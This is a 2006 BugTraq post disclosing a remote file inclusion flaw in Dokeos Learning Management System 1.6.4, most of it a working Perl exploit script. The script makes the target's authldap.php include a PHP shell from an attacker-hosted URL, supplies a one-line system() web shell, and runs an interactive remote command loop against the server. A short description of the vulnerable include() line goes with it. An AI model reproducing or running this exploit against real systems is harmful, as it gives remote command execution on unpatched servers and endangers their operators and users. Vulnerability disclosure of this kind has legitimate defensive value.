BugTraq
Dokeos Learning Management System 1.6.4 Remote File Include May 08 2006 04:52AM
beford (xbefordx gmail com)
#!/usr/bin/perl

############

# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie: beford <xbefordx gmail com>

#
# uso:# perl own.pl <host> <cmd-shell-url> <cmd-var>

# perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable
# includePath in a include() function without being declared.
# This issue has already been fixed in current claroline.net version,
# but dokeos still uses a vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;

$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }

head();

while() {

print "[shell] \$";

while(<STDIN>) {

$cmd=$_;

chomp($cmd);
if (!$cmd) {last;}

$xpl = LWP::UserAgent->new() or die;

$req = HTTP::Request->new(GET
=>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.
$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

$res = $xpl->request($req);

$return = $res->content;

$return =~ tr/[\n]/[ê]/;

if ($return =~/Error: HTTP request failed!/ ) {
print "\nInvalid path for phpshell\n";
exit;
} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
print "\nInvalid Command, error.\n\n";
}
if ($return =~ /(.*)/) {

$finreturn = $1;

$finreturn=~ tr/[ê]/[\n]/;

print "\r\n$finreturn\n\r";

last;

} else {
print "[shell] \$";
}
}
} last;

sub head() {

print "\n=====================================================================
=======\r\n";

print " Dokeos Learning Management System Remote File Include\r\n";

print "=======================================================================
=====\r\n";

}

sub usage() {

head();

print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";

print " <host> - Full Path : http://host/dokeos/ \r\n";

print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";

print " <var> - var name used in phpshell : cmd \r\n\r\n";

exit();

}

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